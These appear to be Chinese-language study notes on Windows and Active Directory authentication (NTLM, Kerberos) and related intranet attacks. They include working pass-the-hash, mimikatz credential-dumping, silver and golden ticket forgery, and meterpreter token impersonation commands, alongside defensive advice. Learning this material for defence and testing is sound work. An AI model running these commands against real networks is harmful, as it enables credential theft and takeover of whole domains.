目录
1.密码的存放位置
路径:%SystemRoot%\system32\config\sam,当我们登陆系统的时候,系统会自动的读取SAM文件中的“密码”与输入的“密码”进行对比,如果相同,证明认证成功。
2.NTLM(NT LAN Manager)Hash
NTLM Hash 是支持Net NTLM 认证协议以及本地认证过程中的一个重要参与物,其长度为32位,由数字以及字母组成。
在Windows本身不存储用户的明文密码,它会将用户的明文密码经过加密算法后存储在SAM数据库中。
当用于登陆时,将用户输入的明文密码也加密成NTLM Hash,与SAM 数据库中的NTLM Hash进行比较。NTLM Hash的前身是LM Hash,目前基本被淘汰,但是还是存在。
3.NTLM Hash ---产生
4.本地认证流程
Windows Logon Process(即 Winlogon.exe),是Windows和NT用户登陆程序,用于管理用户登陆和退出。
LSASS 用于微软Windows系统的安全机制。它用于本地安全和登陆策略
5.Windows 网络认证
在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法相互建立一个完美的信任机制,只能点对点,是比较落后的认证方式,没有信托机构。
假设A主机与B主机属于同一个工作组环境,A想访问B主机上的资料,需要将一个存在于B主机上的账户凭证发送给A主机,,经过认证才能够访问B主机上的资源
最常见的服务:SMB服务,端口:445
6.NTLM(NT LAN Manager) 协议
早期SMB协议在网路上传输明文口令。后来出现 LAN Manager Challenge/Response验证机制,简称LM,它是如此简单以至于很容易就被破解
微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了NTLMv2以及Kerberos验证体系
挑战(Challenge)/响应(Response)
第一步协商
客户端主要在这一步向服务器确认协议的版本,是V1还是v2,详细步骤不只这一点
第二步 质询完整过程
注:Net NTLM Hash = NTLM Hash(Challenge)
注:Response的表现形式是 Net-NTLM Hash,它是由客户端提供的密码Hash加密Server返回的Chanllenge产出的结果
7.NTLM v2协议
NTLM v1 与 NTLM v2 最显著的区别是Challenge与加密算法不同,共同点就是加密的原料都是NTLM Hash。
Challange:NTLM v1的Challenge有8位,NTLM v2的Challenge位16位
Net-NTLM Hash:NTLM v1的主要加密算法是DES(对称加密),NTLM v2的主要加密算法是HMAC-MD5
8.Pass The Hash(哈希传递)
哈希传递能够在不需要账户明文密码的情况下完成认证的一个技术
作用:
解决了渗透中获取不到明文密码,破解不了NTLM Hash而又想扩大战果的问题
条件:
被认证的主机能够访问到服务器
被传递认证的用户名
被传递认证用户的NTLM Hash
工具:
Smbmap
smbmap ip -u administrator -H 哈希值 -x whoami
CrackMapExec
Smbexec
Metasploit
9.Active Directory(活动目录)
Active Directory存储了有关网络对象的信息,并且让管理员和用户能够轻松查找和使用这些信息。Active Directory使用了一种结构化的数据存储方式,并以此作为基础对目录信息进行合乎逻辑的分层组织。
网络对象分为:用户、用户组、计算机、域、组织单位以及安全策略
功能:
服务器以及客户端计算机管理/用户服务/资源管理/桌面配置/应用系统支撑
10.域认证体系- Kerbroes
Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。
该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址信任,不要求网络上所有主机的物理安全
此过程假定网络上传送的数据包可以被任意地读取、修改和插入数据
kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享秘钥)执行认证服务。
域认证所参与的角色
Client
Server
KDC(key Distribution Center)=DC(Domain Controller)
- AD(account database):存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT
- AS (Authentication Services):为client生成TGT(Ticket Granting Ticket)的服务
- TGS(Ticket Granting Service):为client生成某个服务的ticket
大致过程
- 1.Client请求Kerberos服务(请求中包含了Client Name 也就是用户名),如果主机名存在于ad中,就放回TGT给Client
- 2.Client拿着TGT去向Kerbroes发起请求说需要指定服务的权限,TGS返回Ticket(Server Hash)给Client。
- 3.Client拿着Ticket去请求登录服务,服务那边又会去问Kerbroes这个ticket是否是真实的,是就给通过,认证完成。
详细过程
第一步:
AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间
d
AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。
TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
AP_REQ: Client拿着TGS票据去请求服务
AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限
11.白银票据
白银票据特点:
1.不需要与KDC进行交互
2.需要目标服务的NTLM Hash
在第三步认证中的Ticket的组成: Ticket=Server Hash(Server Session Key+Client info + End Time)
当拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
PS:Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是干什么的,所以一切凭据都来源于Server Hash
白银票据的伪造:
Mimikatz:(现在在msf中改为了kiwi)
- privilege::debug
- kerberos::list #列出票据
- kerberos::purge #清除票据
- sekurlsa::logonpasswords #获取service账户hash 和sid
我们也可以直接将kali中的mimikatz.exe通过meterpreter上传到目标机中
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
然后运行
- kerberos::golden /domain:<域名>/sid:<域SID>/target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名>/ptt
默认服务
由于白银票据需要目标服务器的Hash,所以没办法生成对应域内所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务区伪造。
防御
1.尽量保证服务器凭证不被窃取
2.开启PAC(Privileged Attribute Certificate)特权属性证书保护功能,PAC主要是规定服务器将票据发送给kerberos服务,由kerberos服务验证票据是否有效
开启方式:将注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters中的ValidateKdcPacSignature设置为1
12.黄金票据
特点:
1.需要与DC通信
2.需要krbtgt用户的hash(也就是KDC Hash,TGT)
msf kiwi 伪造
meterpreter > golden_ticket_create -d 域名 -k NTLM_hash -s SID值 -u 名字 -t 票据存放位置
meterpreter >kerberos_ticket_list 票据存放路径
mimikatz 伪造
kerberos::golden /domain:<域名>/sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt
13.Tickets总结
黄金票据:从攻击面看,获取krbtgt用户的hash后,可以在域中进行持久性的隐藏,并且日志很难溯源,但是需要拿到DC权限,使用黄金票据能够在一个域环境中长时间控制整个域。
从防御角度看,需要经常更新krbtgt的密码,才能够使得原有的票据失效。最根本的办法是不允许域管账户登陆其他服务器。
白银票据:从攻击面看,伪造白银票据的难度比伪造黄金票据的难度较小,因为一个域中的服务器如果对外的话,非常容易被入侵,并且容易被转储Server Hash
从防御角度看,需要开启PAC认证,但这会降低认证效率,增加DC的负担,最根本的还是要加固服务器本身对外的服务。
14.Windos Access Token
Windows Token 其实叫Access Token(访问令牌),它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后,都会生成一个Access Token,这个Token在用户创建进程或者线程时都会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。
种类: Access Token分为两种(主令牌、模拟令牌)
一般情况下,用户双击运行一个程序,都会拷贝“exeploer.exe”的Access Token
当用户注销后,系统将会使主令牌切换为模拟令牌,不会加固令牌清除,只有在重启机器后才会清除。
组成:
用户账户的安全标识符
用户所属的组的SID
用户标识当前登陆会话的登陆SID
用户或用户组所拥有的权限列表
所有者SID
主要组的SID
访问控制列表
访问令牌的来源
令牌是主要令牌还是模拟令牌
限制SID的可选列表
目前的模拟等级
其他统计数据
令牌假冒(msf)
meterpreter > list_tokens -u
DC访问共享
可以看到多处了一个token
这个时候我们伪造这个令牌
meterpreter > impersonate_token xxx\\Administrator
meterpreter > getuid Server username: xxx\Administrator
这个时候我们已经是域管理账户了
我们可以使用,假冒令牌进行执行
execute -t
防御
禁止Domain Admins 登陆对外且未做安全加固的服务器,因为一旦服务器被入侵,域管理员的令牌可能会被攻击者假冒,从而控制DC
如果想清除假冒,重启服务器即可。
注:文章内容部分摘抄自b站某个视频,仅仅作为笔记使用。